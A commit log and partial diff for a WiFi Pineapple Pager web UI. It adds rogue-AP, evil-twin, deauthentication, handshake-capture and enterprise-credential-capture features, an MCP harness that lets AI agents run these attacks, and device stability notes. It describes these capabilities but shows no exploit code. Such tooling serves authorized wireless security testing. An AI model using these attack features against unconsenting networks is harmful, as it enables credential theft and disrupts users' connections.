69 Commits
Author SHA1 Message Date
bzuccaro 52f9f6ecd5 chore: bump version to 1.2; scrub personal details from docs
- Version 1.1 -> 1.2 in the hak5 manifest and MCP serverInfo.
- Removed leaked personal details from process docs: device root password,
  the user's personal iPhone SSID (authorized-test target), the local
  /Users/... checkout path, and the device IP where it appeared alongside
  the password. Replaced with <device-password>, <authorized-test-ssid>,
  <repo>, and <device-ip> placeholders.
2026-08-19 08:21:28 -05:00
bzuccaro 32282af1d8 ui: wireless landscape card — ring + legend, fix handshake toggle wrap
- Landscape card mirrors Encryption: headline text removed; square 112px
  ring (drawn height 112, CSS fixed square, no more ellipse) + HTML legend
  (dot + label + count) for Access Points / Clients / Unassociated. The
  canvas previously had no legend and the '90' headline never matched the
  dominant arc; the legend makes every count visible and labeled.
- Legend markup generalized: .recon-enc-* -> .recon-chart-* shared by both
  cards; shared chartLegendEntry() builder; landscape skips zero slices.
- .recon-toggle now flex-wraps (was overflowing 'Auto-collect handshakes'
  past the card edge at narrow widths; card min-width inner is ~142px vs a
  233px label).

Verified on device via CDP at 1200px and 860px viewports: landscape ring
112x112 square with Access Points 92 / Clients 291 / Unassociated 760;
encryption card intact; toggle label stays inside the 184px card (wraps to
2 lines, no card overflow); zero JS exceptions.
2026-08-19 08:07:46 -05:00
bzuccaro 6927baf51f fix: encryption ring renders as a true circle, not a squashed ellipse
The enc canvas was drawn at 233x120 internally but .recon-chart-box canvas
forced width:100%/height:100% onto a ~233x115 box, scaling the bitmap and
flattening the ring. #recon-encryption is now a static 112px square with the
doughnut drawn at height 112, so internal and CSS pixels match (1:1) and the
circle stays circular. Verified on device: box and bitmap both 112x112,
card fits without overflow, legend intact, no JS exceptions.
2026-08-19 07:34:09 -05:00
bzuccaro aaa148fb30 docs: spec — correct encryption card bucket model (real families + legend id) 2026-08-19 07:24:09 -05:00
bzuccaro 8befe45de5 fix: encryption landscape card — real family buckets + legend id
- Ring and legend now derive from reconEncBucket's actual family keys
  (WPA2-PSK, WPA3-Personal, WPA2-Enterprise, ...) instead of the six
  nominal buckets that never matched encCounts, so the ring drew an
  empty ring and the legend was always blank on WPA2-dominated data.
  Ordering via RECON_ENC_ORDER; colors cycle RECON_ENC_COLORS.
- Legend div had class but no id while drawCharts looked it up with
  getElementById — the population block silently never ran. Added the id.

Verified on device via CDP: legend lists Open 9, WEP 1, WPA2-PSK 44,
WPA3-Personal 20, WPA3-Enterprise 5 with per-family dot colors; no JS
exceptions.
2026-08-19 07:24:00 -05:00
bzuccaro 53e995d5a7 ui: encryption landscape card — ring + HTML legend with counts 2026-08-19 06:53:35 -05:00
bzuccaro 66a62ce234 docs: implementation plan — encryption landscape card ring + key redesign 2026-08-19 06:52:49 -05:00
bzuccaro 8bd560f8e9 docs: spec — Encryption Landscape card ring + key redesign 2026-08-19 06:51:06 -05:00
bzuccaro 13ca4bd9cb ui: recon card order — Channel Map above Access Points, Compare APs below 2026-08-19 06:33:35 -05:00
bzuccaro 0ecd8c3135 hardening: 20s client timeout on API GETs
A hung read can no longer stall the recon/pineap poll loops (AbortController).
Writes keep no client abort: radio deploys legitimately take up to 45s
server-side. Cache-bumped api.js.
2026-08-19 00:13:03 -05:00
bzuccaro 1be93bc24b fix: MCP pineap.set_filter supports delete/clear/allow_all
The tool only accepted set_mode/add, so entries added via MCP could never be
removed. Now passes the full action set through to the same endpoint the UI
uses and returns the resulting mode/entries. Verified on device: add ->
delete round trip leaves the filter empty.
2026-08-19 00:07:08 -05:00
bzuccaro f6b4cadc39 fix: client kick/deauth use full bssid/target/channel deauth form
hak5cmd on this firmware has no CLIENT_KICK command and PINEAPPLE_DEAUTH_CLIENT
requires (bssid, target, channel) — the UI kick/deauth buttons and the MCP
pineap.kick_client tool previously passed only the client MAC, which printed
usage and silently did nothing.

- _deauth_target/_deauth_client_via_iface resolve the client's association
  interface via iwinfo (Access Point + Channel), pick the band-aware inject
  interface, and issue DEAUTH_CLIENT <bssid> <mac> <channel>
- h_client_kick: deny-filter (persistent) + immediate deauth with rc checks
- h_deauth_client: deauth with the full form; 502 with detail when the
  client is not associated
- MCP pineap.kick_client: resolves the client first (no side effects on
  failure), then deny-filter + deauth; verified on device (clean error for
  unassociated clients, filter list restored)
- tests updated for the new command chain
2026-08-19 00:05:42 -05:00
bzuccaro d7ef0624f4 ui: recon card redesign, channel-map hover, Send to PineAP prefill, recon hardening
- Top 5 recon cards restyled as stat cards: value + sub-line + mini chart,
  consistent 190px anatomy; Handshakes links to the handshakes page;
  Previous Scans shows count/latest plus a compact picker + action row
- Channel map records lobe geometry (canvas.__reconLobes / __reconLobesHit);
  hovering lists the networks under the cursor, click pins the tooltip,
  mouseleave hides it; empty states hide the tooltip too
- Recon focus sidebar gains 'Send to PineAP — Twin this network': routes to
  Evil WPA (psk2/sae/owe from recon encryption) or OpenAP (with BSSID) and
  prefills the form; one-shot PineAPPrefill is consumed by the attack
  launcher and never auto-deploys or leaks into manual forms
- Existing Actions verified end-to-end and hardened: capture/stop handshake
  sync the auto-collect toggle, examine buttons disable while pending
- Recon resilience: loadDetail retries after failed render or 503 (no more
  permanently blank page), scan-list errors surface in the scan bar, poll
  guard prevents overlapping loads, chart draws are individually isolated
- Auto-collect toggle re-syncs from get_config on the slow poll so the UI
  tracks the pager's own settings
2026-08-18 23:49:49 -05:00
bzuccaro 84ce19b2b3 ui: PineAP tabs order OpenAP before Evil WPA; rename Evil Open to OpenAP 2026-08-18 22:44:13 -05:00
bzuccaro c9a89f1303 ui: drop PineAP dashboard attack infobox 2026-08-18 22:42:49 -05:00
bzuccaro 71fcbf1168 ui: PineAP rail icon uses the wifi symbol 2026-08-18 22:41:39 -05:00
bzuccaro 9ce4f5dc8e ui: restore flat top-level rail (drop nested PineAP sub-entries) 2026-08-18 22:40:26 -05:00
bzuccaro 2044f08f1e test: delete-all-scans endpoint coverage 2026-08-18 22:37:42 -05:00
bzuccaro e93359fb69 feat: merge attacks into PineAP menu; auto channel; recon fixes; richer reports
- Rail: Attacks tab removed; PineAP becomes a grouped menu (Evil WPA /
  Evil Open / Evil Enterprise / Impersonation / Clients / Filtering);
  old #/attacks* hashes redirect to their PineAP equivalents.
- PineAP tabs gain Evil Enterprise; stock Open AP / Evil WPA / Enterprise
  pages replaced by the verified one-click launchers (status, capture,
  export, deauth, playbooks).
- Channel selects gain an Auto option: deploy resolves the target SSID's
  last-seen channel from recon.db (verified unit-tested end to end).
- Harness: pi.dev prompt section removed; Copy Token inline; robot icon.
- Recon: compare checkboxes no longer hide the AP list (multi-select
  stays visible, rows highlighted, clients table no longer suppressed);
  Previous Scans buttons moved above the dropdown with a Delete All;
  encryption chips + buckets now distinguish WPA2/WPA3 PSK vs Enterprise
  (AKM suites decoded from recon bitfield bits 32-47); scan JSON carries
  GPS when a fix exists; Reports tab shows a GPS column.
- fix: restore top-level EVIL_ENC definition lost in the repo (deployed
  build had it; repo would have thrown at init).
2026-08-18 22:35:51 -05:00
bzuccaro 72f6a68897 feat: capture field findings into bundled skills (harness resources)
pineapple-control gains the uplink-pins-phy0 constraint, the five-part
pineapd crash stack, and the standalone PineAPE engine recipe; wifi-deauth
gains the field-verified passive-capture finding (clients that refuse the
evil twin still produce crackable 4-ways of the real AP, [B,1,2,3,4]).
Evil WPA playbook hint mentions the passive fallback. Skills are served to
agents via MCP resources.
2026-08-18 22:17:29 -05:00
bzuccaro 6a56db3fef feat: dashboard strip HS source consistency + PineAP→Attacks cross-link banner 2026-08-18 21:48:58 -05:00
bzuccaro 2d8ece9f3a chore: cache-bust views.js 2026-08-18 21:47:10 -05:00
bzuccaro e1eba04775 feat: attacks workflow — playbook steps + auto-targeting deauth panel
Evil WPA/Open pages now show a state-aware playbook (current step
highlighted, contextual hint) and the Deauth Targeting panel
auto-fills the live attack SSID and refreshes clients automatically.
Enterprise page gains a playbook hint card.
2026-08-18 21:43:05 -05:00
bzuccaro 41b3c849ee chore: cache-bust index.html for views/app 2026-08-18 21:39:08 -05:00
bzuccaro 152178ce82 feat: live event notifications + dashboard status strip
The notification bell now receives event-driven alerts: new handshake
captures, new enterprise credentials, pineapd down/recovery and monitor
drops (15s poll, diffs against last-seen state). Dashboard gains an
Attacks / PineAPd / Recon live status row.
2026-08-18 21:39:02 -05:00
bzuccaro 1327bec03c test: reset monitor_fixes counter between health tests 2026-08-18 21:34:11 -05:00
bzuccaro 1d807a1fcf fix: health check repairs dropped monitors even when pineapd is healthy
wifi reloads during attack deploy/stop drop the monitor interfaces and
pineapd only recovers its primary; the monitor now brings both up
whenever it finds them down, with or without a pineapd failure.
2026-08-18 21:33:11 -05:00
bzuccaro 1d836f57c6 docs: stability notes — pineapd crash sources + fixes on Pager 24.10.1 2026-08-18 21:32:34 -05:00
bzuccaro ce1f6a8442 fix: passive health check + hop=0 in stabilization pass
Active PINGs on pineapd's command socket collided with the stock daemon's
own socket writes ('[PineAp] Error writing'), making the daemon watchdog
SIGTERM pineapd every ~30s while hopping. Monitor now checks pidof only
(no socket writes) and the stabilization pass pins wlan1mon hop=0.
2026-08-18 21:05:39 -05:00
bzuccaro 4c5b459f72 test: uci delete support in health test fake 2026-08-18 20:47:54 -05:00
bzuccaro b5d9ed39ff fix: health monitor stabilization pass for all pineapd crash sources
Field-verified crash stack on this firmware: SSID-pool broadcast (segfault),
wlan2mon hopping a nonexistent 6GHz iface (segfault), wlan1mon fast-hopping
6GHz channels (ASIO thread exit), and a large refilled pool. The fix path
now enforces: pool broadcast off, pool list cleared, wlan2mon off, wlan1mon
5GHz-only, wlan0mon 2.4GHz-only — idempotent, so collect refills self-heal.
8-minute continuous-PONG stability verified on-device.
2026-08-18 20:47:43 -05:00
bzuccaro c91d970a41 test: cover wlan2mon crash-source fix in health monitor 2026-08-18 20:26:29 -05:00
bzuccaro adfe8f784f fix: health monitor detects down monitors via ip link flags + disables wlan2mon
operstate reports 'unknown' on monitors (normal), so _iface_up now parses
admin flags from ip link. Discovered a second pineapd SIGSEGV source: the
wlan2mon 6GHz monitor this hardware never creates, hopping on the missing
iface (~85s crash cadence even with the SSID pool off). The monitor now
disables it in the fix path.
2026-08-18 20:26:16 -05:00
bzuccaro 4ce19693d1 fix: health chip API_BASE scope (use App.apiBase) 2026-08-18 20:19:05 -05:00
bzuccaro d10fba9d1b fix: never re-enable SSID pool broadcast (crash guard) + top-bar health chip
Mode 'active' and the advertise toggle could re-enable the SSID-pool
broadcast that segfaults pineapd. active preset now skips ssidpool/enable
(advertise stays false), the advertise endpoint refuses with an
explanation when the pool is disabled, get_ap reports the real pool
state, and the PineAP overview disables the toggle with a notice. Added
a top-bar health chip (PINEAP OK / POOL OFF / PINEAPD DOWN) polled every
15s.
2026-08-18 20:16:41 -05:00
bzuccaro 0cd9956c4c fix: attacksShell appends content box to root (detached-div bug) + cache-bust
The Attacks shell created its content div but never attached it to the
document, so all launcher cards rendered into a detached subtree (tabs
only were visible). Bumped views.js cache version in index.html.
2026-08-18 20:11:30 -05:00
bzuccaro d5506e2aaf fix: 45s verification window for daemon-applied APs (reload cycle) 2026-08-18 20:03:07 -05:00
bzuccaro e871e49466 feat: local MCP harness (tools/resources/prompts) + Harness UI page
Streamable-HTTP MCP server on POST /mcp: device.state, attack.deploy/stop/
status/deauth/capture/export_hc22000, loot.handshakes/enterprise_creds,
recon.aps/isearch/devices, pineap.kick_client/set_filter tools; recon DB +
bundled opencode skills resources; attack playbook prompts. Cookie or Bearer
auth. Harness page shows endpoint, token, curl snippet, capability explorer
and a copy-paste pi.dev prompt. scripts/harness_stdio.py for stdio-only
agents.
2026-08-18 20:00:13 -05:00
bzuccaro f31b38d1fa feat: enterprise deploy retry loop + karma filters (deny=allow-all) 2026-08-18 19:58:01 -05:00
bzuccaro c33d5d01f3 fix: use MSCHAPV2 wildcard in enterprise eap_users (PAP unsupported) 2026-08-18 19:55:04 -05:00
bzuccaro 603e249999 feat: standalone PineAPE enterprise engine on phy1
The stock daemon's enterprise config generation is broken on this firmware
(it hardcodes eap_server_erp=1, which hostapd rejects), so the enterprise
attack now runs its own karma+PineAPE hostapd instance on wlan1ent/phy1:
iw-created iface, EAP config with catch-all user file, pineape+auth capture
enabled via ctrl, mgmtiface registered in pineapd UCI so captured creds
flow into recon.db (hostap_basic/hostap_chalresp). Boot-recovery redeploys
a live attack after a Mark VIII restart.
2026-08-18 19:53:56 -05:00
bzuccaro 2533f68d70 test: align health tests with immediate pool-disable behavior 2026-08-18 19:33:07 -05:00
bzuccaro 1d063695fa test: health monitor uci-show fake 2026-08-18 19:32:56 -05:00
bzuccaro a4285496fb fix: health monitor disables SSID pool immediately on PING failure
Ring-buffer SIGSEGV counts were unreliable for growth detection; the pool
broadcast is the only known crash cause, so disable it on first failure.
2026-08-18 19:32:49 -05:00
bzuccaro 2ff0c4d320 feat: Attacks UI (Overview + Evil WPA/Open/Enterprise launchers)
Side-menu Attacks section with deploy/stop launchers, live status card
(device truth), monitor capture toggle, hashcat .hc22000 export + download,
deauth targeting panel, enterprise cred tables and PineAPE toggles.
2026-08-18 19:30:26 -05:00
bzuccaro 01c84caaaa feat: pineapd health monitor with crash-loop auto-fix
15s poll; on PING failure, detects SIGSEGV growth (SSID-pool crash-loop),
disables pool broadcast, restarts pineapd, brings wlan1mon up. Rate-limited
fix actions, /api/health endpoint.
2026-08-18 19:28:32 -05:00
bzuccaro 63fa5ae94a feat: one-click attack orchestration backend (Evil WPA/Open/Enterprise)
Deploy/stop/status/capture/export-hc22000/deauth endpoints. Band-aware
deauth inject (wlan0mon for 2.4GHz), enterprise AP via wlan0ent + PineAPE,
verified writes polled from /sys, hop resumed when no radio1 AP active.
2026-08-18 19:27:25 -05:00
bzuccaro 38ef4e8d0a feat: truth-first get_ap (dual radio + enterprise) and derived pineap mode
get_ap now reports radio0, radio1 and enterprise APs separately from UCI
(never a stored/cached branch), with radio channel fallback. Mode is
derived from live enabled/collect state instead of showing 'unknown';
device truth wins over stale stored presets.
2026-08-18 19:25:06 -05:00
bzuccaro 740348067a docs: implementation plan for attacks, sync, harness 2026-08-18 19:23:07 -05:00
bzuccaro 78424b4a35 docs: design spec for attacks page, state sync, MCP harness 2026-08-18 19:22:36 -05:00
bzuccaroandfactory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> 0459a56f1f chore: ignore .opencode/ scratch directory
Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com>
2026-08-18 14:59:11 -05:00
bzuccaroandfactory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> d8a7074e1f feat: merge Survey into Scanning and harden live recon
- Delete the Survey stack (sampler, handlers, routes, view, recordings);
  Scanning gains AP compare (cap 6), whole-page selection filter, channel
  map (20 MHz lobes, the radio does not report width), and auto-follow
  that prefers the newest non-empty scan
- Richer HTML scan reports: stat cards, band/encryption breakdowns,
  channel occupancy, color-coded signal cells, GPS line only on a fix
- Harden live recon: bounded + retried scan-detail reads (503 on lock),
  serialize recon starts (409 + scan_remaining while running), GPS and
  archive discovery move to a 30s poll, GPS_GET skipped when gpsd is down
- Read-only history for pineapd-rotated databases (error-*/diagnostic-*):
  archives list/detail/download endpoints, Previous Scans optgroup,
  delete disabled, traversal-guarded
- Status flags: hopper-radio-offline and history-reset banners; empty
  scans greyed in the picker
- Tests: recon suite grows to 99 cases; all 14 modules green

Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com>
2026-08-18 14:55:02 -05:00
bzuccaro 251b1f6261 feat: recon surveys with OUI/vendor lookup and report views
Reconnaissance surveys (GPSD-tethered scan recording), OUI vendor
lookup for client/AP tables, survey/report pages, and the matching
test_recon.py suite. Co-authored with the recon-feature agent whose
work was finished in this checkout.
2026-08-18 08:35:22 -05:00
bzuccaro f5cddb335a docs: correct 5GHz picker range and HEAD reference 2026-08-18 08:31:02 -05:00
bzuccaro af5ff8039b fix: gate channel_band 6GHz to 181-233, reject open-6GHz, self-heal load-time 6GHz hints, harden hop/BSSID handling 2026-08-18 08:30:45 -05:00
bzuccaro c0b9e58aa8 docs: record on-device verification results for 5/6GHz AP 2026-08-18 08:24:19 -05:00
bzuccaro 12279fe29d fix: write explicit disabled=0 for radio1 AP ifaces 2026-08-18 08:13:41 -05:00
bzuccaro 7536f3ca45 fix: self-heal radio1 AP after stock daemon wireless writes 2026-08-18 08:08:50 -05:00
bzuccaro be2685aa15 docs: 5GHz/6GHz rogue AP feature and coexistence notes 2026-08-18 07:30:06 -05:00
bzuccaro ff3bd16855 feat: band-aware channel pickers for Open AP and Evil WPA 2026-08-18 07:26:55 -05:00
bzuccaro 4fa7f8f855 fix: reject mixed 2.4GHz and radio1 AP requests with clear error 2026-08-18 07:23:25 -05:00
bzuccaro cd39833f4b test: update proxy tests for get_ap channel shape and radio1 cleanup 2026-08-17 23:29:47 -05:00
bzuccaro 4effc08a25 feat: radio1 5GHz/6GHz rogue AP via UCI with hop pause 2026-08-17 23:28:54 -05:00
bzuccaro b2098bae7d fix: fall back to radio channel when AP iface lacks channel 2026-08-17 23:21:09 -05:00
bzuccaro 7aff767f2a feat: read radio1 AP state in wifi get_ap 2026-08-17 23:17:57 -05:00
bzuccaro 27df97ec43 test: pin CHANNEL_BANDS consistency and DFS coverage 2026-08-17 23:15:01 -05:00
bzuccaro acbf4c0ce9 feat: channel/band mapping helpers for radio1 AP 2026-08-17 23:01:16 -05:00
bzuccaro 5f6dc5bcdb release: Mark VIII 1.1
Wireless client mode (connect to WiFi as client):
- settings/wifi/client API: state, scan, connect, disconnect, route
- Internet Connection topbar dialog and functional Settings > Networking card
- routing toggle syncing UCI flag and daemon state
- fix trailing-slash hash routes (View not available)
- hidden-SSID filtering, encryption classification (Open/WPA2/WPA3/mixed)
- tests for client state, scan parsing, connect/disconnect, routing
2026-08-17 22:28:41 -05:00
bzuccaroandfactory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> 2bf39ecb9d fix: repair recon scanning and add macOS deployment
Start scans via the Pager's native /api/pineap/recon/new so history
appends instead of rotating. Enforce finite durations (1-86400s,
default 30s), remove the unsupported Continuous mode, and refuse the
unsafe manual stop that left recon.db locked.

Rework scan list and detail reads into single-pass aggregate SQL,
shorten lock retries, and serve cached results during short exclusive
lock windows. Fall back to immutable read-only access when the
firmware leaves a stale lock after native completion.

Frontend auto-follows new scans, queues a single in-flight detail
refresh, keeps previous tables visible while a scan starts, and shows
completion toasts and daemon error details.

Add scripts/deploy.sh for macOS/Linux (zip packaging, scp/ssh install,
atomic payload replacement, service restart, portal refresh) with
README instructions, plus regression coverage for native start,
safe stop semantics, aggregate queries, and stale-lock fallback.

Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com>
2026-08-17 17:46:54 -05:00
32 changed files with 8284 additions and 670 deletions
+2
View File
@@ -3,4 +3,6 @@ __pycache__/
*.pyc
.worktrees/
.openchamber/
.opencode/
+42 -3
View File
@@ -8,22 +8,41 @@ Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
terminal.
- Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
(WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
6GHz requires WPA3. While a radio1 AP is enabled the stock monitor-hopping
(`wlan1mon`) is paused and resumed on disable; 2.4GHz PineAP is untouched.
## Requirements
- WiFi Pineapple Pager, firmware `Pineapple Pager 24.10.1`
- `python3` on the device (present on current firmware)
- Windows dev box with Python 3.11 (`winget install Python.Python.3.11`)
- Python 3.11 on the development machine
## Install (sideload)
macOS/Linux:
```bash
# Recommended: key authentication
./scripts/deploy.sh --ssh-key "$HOME/.ssh/pager_key"
# Password authentication requires sshpass
brew install hudochenkov/sshpass/sshpass
./scripts/deploy.sh --password '<device-password>'
```
Windows:
```powershell
# deploy.ps1 needs either an SSH key or sshpass for password auth:
& .\scripts\deploy.ps1 -SshKey "$HOME\.ssh\pager_key"
# or set up a key and add it: ssh-copy-id root@172.16.52.1
```
This builds `build\pager-webui\payload-<b64>.zip`, uploads it, extracts it to
`/root/payloads/user/remote_access/pager-webui/`, and refreshes the portal index.
The deployment scripts build `build/pager-webui/payload-<b64>.zip`, upload it,
extract it to `/root/payloads/user/remote_access/pager-webui/`, and refresh the
portal index.
Then on the Pager menu, run **Mark VIII**:
- **Yes** to "Run as background service?" -> procd service (respawns on crash,
@@ -81,6 +100,26 @@ terminal I/O, and reboot persistence.
- `www/` — vanilla JS SPA (no build step) + bundled xterm.js.
- `payload.sh` + `pagerwebui.init` — Nautilus-style installer / procd service.
## Stability notes (Pager 24.10.1)
pineapd crash sources found and fixed on this firmware (verified on-device,
zero crashes over sustained watches):
1. **SSID-pool broadcast** — segfaults pineapd (~15s cadence). Kept disabled.
2. **wlan2mon** — a 6GHz monitor this hardware never creates; hopping the
missing iface segfaults pineapd. Disabled.
3. **Large refilled pool** — the pool list itself crashes pineapd even with
broadcast disabled. The health monitor clears it (collect refills).
4. **wlan1mon fast-hopping 6GHz** — stalls pineapd's command socket; the
stock daemon's watchdog then SIGTERMs pineapd every ~30s. Bands pinned
to 5GHz (2.4GHz only on wlan0mon).
5. **Socket collisions** — actively pinging pineapd from a health monitor
collides with the stock daemon's own socket writes. The monitor now
checks `pidof` only.
`GET /api/health` reports pineapd/monitor state; the top bar shows a
PINEAP OK / POOL OFF / PINEAPD DOWN chip.
## Security notes
- Auth via device password validated against the daemon; HttpOnly session
+217
View File
@@ -0,0 +1,217 @@
# Radio1 5GHz/6GHz Rogue AP — Design Record
- **Date:** 2026-08-17
- **Status:** Implemented and verified on-device (see §9)
- **Owner:** Hak5 WiFi Pineapple Pager expansion project
- **Scope:** Mark VIII WebUI (`http://172.16.52.1:8080/`) running a rogue AP on
the Pager's second radio (`radio1` = MT7921U Wi-Fi 6E) on 5GHz and 6GHz, with
band-aware channel pickers, without breaking the stock Pager UI's control of
its own interfaces.
## 1. Goal
Today Mark VIII's PineAP Open AP and Evil WPA pages configure only `wlan0open`
/ `wlan0wpa` on `radio0` (2.4GHz) via the stock daemon's `set_ap` endpoint. The
Pager carries a second radio — an MT7921U Wi-Fi 6E on internal USB — that is
otherwise only used by the stock daemon's hopping monitor `wlan1mon`. This
feature lets Mark VIII run an Open AP or Evil WPA (WPA2-PSK / WPA3-SAE /
WPA3-OWE) on `radio1` at 5GHz and 6GHz, configured directly via UCI, with a
UI that picks channels by band and enforces WPA3 on 6GHz.
## 2. Hardware findings
Verified against the committed implementation (`server.py`, `views.js`) and the
plan's on-device groundwork:
- **`radio0`** — MT7628, **2.4GHz only**. The stock PineAP daemon owns
`wlan0open`, `wlan0wpa`, `wlan0cli`, `wlan0mon`, `wlan0mgmt`. This feature
does not change that ownership.
- **`radio1`** — MT7921U Wi-Fi 6E on internal USB (`phy1`), capable of
2.4/5/6GHz. The stock daemon owns `wlan1mon`, a daemon-managed hopping
monitor interface: `pineapd.wlan1mon` has `bands='2,5,6'` and `hop='1'`.
- Because `radio1` has a single channel shared by all its virtual interfaces,
a `wlan1` AP and the hopping `wlan1mon` cannot both be active with an
operator-chosen channel — hence the hop pause/resume mechanism (§6).
- UCI state (`wireless.radio1`): stock defaults are `band='5g'`,
`channel='auto'`, `htmode='VHT80'`, `country` set for the device region.
## 3. Band / channel model
`server.py` defines the authoritative mapping (helpers added near
`_uci_wifi_iface`):
| Band | `BAND_*` | Channels | `band_htmode` | `band_radio` |
|---|---|---|---|---|
| 2.4GHz | `BAND_2G = '2.4'` | `114` | `HT20` | `radio0` |
| 5GHz | `BAND_5G = '5'` | `36177` | `VHT80` | `radio1` |
| 6GHz | `BAND_6G = '6'` | `181233` (step 4) | `HE80` | `radio1` |
- `channel_band(ch)` classifies **2.4GHz (114) first, then 5GHz (36177)**, and
only then 6GHz (`1 ≤ ch ≤ 233` and `(ch 1) % 4 == 0`). Because 2.4 and 5GHz
take precedence, **the only reachable 6GHz channels are `181, 185, …, 233`**
(the low 6E channels `1,5,…,177` are swallowed by the 2.4/5GHz ranges). The
UI's 6GHz group therefore offers exactly `181..233 step 4`.
- `CHANNEL_BANDS` mirrors this: `range(1, 15)`, `range(36, 178)`,
`range(181, 234, 4)` — held consistent by tests.
- `DFS_CHANNELS` = `52..64` and `100..144` (step 4). DFS channels are surfaced
to the operator in the UI with a `(DFS)` marker; this feature does not attempt
radar-CAC handling on-device.
- `channel_freq(band, ch)`: 2.4 → `2412 + (ch1)·5`; 5 → `5180 + (ch36)·5`;
6 → `5955 + (ch1)·5`.
- `band_htmode` maps 2.4/5/6 → `HT20` / `VHT80` / `HE80` (written to
`wireless.radio1.htmode`). `band_radio` maps 2.4 → `radio0`, 5/6 → `radio1`.
## 4. API behavior
### 4.1 `h_pineap_wifi_get_ap` (POST `/api/pineap/wifi/get_ap`)
- If `wlan1open` **or** `wlan1wpa` exists in `wireless`, state is read from
`radio1` (`wlan1open`/`wlan1wpa`); otherwise from `radio0`
(`wlan0open`/`wlan0wpa`) — the 2.4GHz response shape is unchanged.
- `open.channel` and `wpa.channel` are reported **per interface**, falling back
to the owning radio's channel when the iface section has no channel option
(regression-tested). `wpa.enctype` is normalized to `psk2` / `sae` / `owe`.
- A new `radio1` object reports the raw `wireless.radio1` state:
`{band, channel, htmode, country}`, with `band` normalized from `2g`/`5g`/`6g`
to `'2.4'`/`'5'`/`'6'` (default `'5'`), and `channel` left as the raw string
(`'auto'` or a channel number) — the UI converts; `'auto'` is not int-coerced.
### 4.2 `h_pineap_wifi_set_ap` (POST `/api/pineap/wifi/set_ap`)
`channel` is now accepted in both `open` and `wpa` payloads. Behavior matrix:
- **2.4GHz channels (114):** exactly today's path — daemon
`PUT /api/settings/wifi/set_ap` for `wlan0open`/`wlan0wpa` followed by
`_apply_open_radio` (which persists `radio0.channel`/`country`). If a
`wlan1*` AP exists it is removed first (`_remove_radio1_ap`, §6) so a 2.4GHz
save tears down a stale radio1 AP.
- **5GHz (36177) / 6GHz (181233):** `_apply_radio1_ap` (below).
- **Mixed request:** a request carrying both a 2.4GHz object and a 5/6GHz
object returns `400 'cannot configure 2.4GHz and radio1 APs in one request'`
(radio1 is one physical radio — one band/channel per request).
- **Disable:** a radio1 request with no active 5/6GHz object (or a 2.4GHz save)
runs `_remove_radio1_ap()` + `wifi reload` and returns `200`.
`_apply_radio1_ap(openap, wpa)` (one of the two is active):
1. Validates the band — a radio1 AP requires a 5GHz or 6GHz channel
(`ValueError` → HTTP 400).
2. **6GHz requires WPA3:** when the active AP is a WPA AP on 6GHz, `enctype`
must be `sae` or `owe`; `psk2` is rejected with HTTP 400
(`'6GHz requires WPA3 (sae or owe)'`). An **open** 6GHz AP is accepted by
the backend, but the UI warns that real clients generally won't associate to
an open 6GHz network.
3. Deletes any existing `wlan1open`/`wlan1wpa` (idempotent), then writes UCI:
- `wireless.radio1.band` = `5g`/`6g`, `wireless.radio1.channel`,
`wireless.radio1.htmode` (`band_htmode`), `wireless.radio1.country`
(when supplied);
- a `wifi-iface` section `wlan1open` (encryption `none`, optional BSSID) or
`wlan1wpa` (`encryption` + `key`) on `device=radio1`, `mode=ap`, with the
interface-level `channel`/`hidden`/`ssid`.
4. `uci commit wireless`, `_pause_hop()` (§6), then `wifi reload`.
## 5. Coexistence rules — "don't break stock"
- **Mark VIII owns:** `wireless.wlan1open`, `wireless.wlan1wpa`, and
`wireless.radio1.{channel,band,htmode,country}`. These are new sections /
values it creates and tears down.
- **Stock owns (never modified by Mark VIII):** `wireless.wlan0open`,
`wlan0wpa`, `wlan0mgmt`, `wlan0cli`, `wlan0mon`, `wireless.wlan1mon`, and all
`pineapd.*` UCI values (bands configuration included).
- **The only stock-owned value this feature writes is
`pineapd.wlan1mon.hop`** — and it is always restored to its prior value
(`_resume_hop` sets it back to `1` only if it was `0`; `_pause_hop` sets it
to `0` only if it was not already `0`).
- The 2.4GHz daemon path (`PUT /api/settings/wifi/set_ap` for `wlan0open` /
`wlan0wpa`) is byte-for-byte unchanged.
- **Known risk (accepted):** the stock daemon's `set_ap`/pager-UI writes may
rewrite `wireless` wholesale and drop the `wlan1*` sections. Mitigation is
UCI-commit persistence, hop restore on disable, and on-device verification
(§9). If clobbering is observed, the deferred fix is a reconcile-on-load step
in `get_ap` that re-applies a saved radio1 AP from `PINEAP_STATE_FILE`.
## 6. Hop pause / resume
`wlan1mon` is the stock daemon's channel-hopping monitor. With a radio1 AP
active, hopping would fight the AP's fixed channel, so it is paused while the
AP is enabled:
- `_read_hop()` reads the value via `uci get pineapd.wlan1mon.hop` (a leaf
read — not `_uci_wifi_iface`, which forces the `wireless.` prefix).
- `_pause_hop()`: if `hop != '0'`, set `pineapd.wlan1mon.hop=0`, `uci commit
pineapd`, reload `/etc/init.d/pineapd`.
- `_resume_hop()`: if `hop == '0'`, set it back to `1`, commit, reload.
- `_apply_radio1_ap` calls `_pause_hop()` before `wifi reload`;
`_remove_radio1_ap` calls `_resume_hop()` after resetting
`radio1.channel=auto` / `radio1.band=5g`. Every code path that pauses hopping
also restores it.
## 7. Frontend (`www/js/views.js`)
- `BAND_GROUPS` drives the channel pickers shared by the Open AP and Evil WPA
views: a `2.4 GHz` optgroup (111), a `5 GHz` optgroup (36165, DFS channels
`52..64` / `100..144` labelled `(DFS)`), and a `6 GHz (WPA3/OWE only)`
optgroup (`181..233` step 4).
- `chanFreq`/`chanLabel` render `Channel N (… MHz)` (+` (DFS)`),
`chanSelect` builds the optgroups and restores a stored value when in range,
`bandOfChannel` mirrors `channel_band`.
- **Open AP:** channel select + a hint that appears on 6GHz ("…most devices
will not associate to an open 6 GHz network.").
- **Evil WPA:** a channel select added to the config card; selecting a 6GHz
channel disables the `psk2` option and switches to `sae`, with a
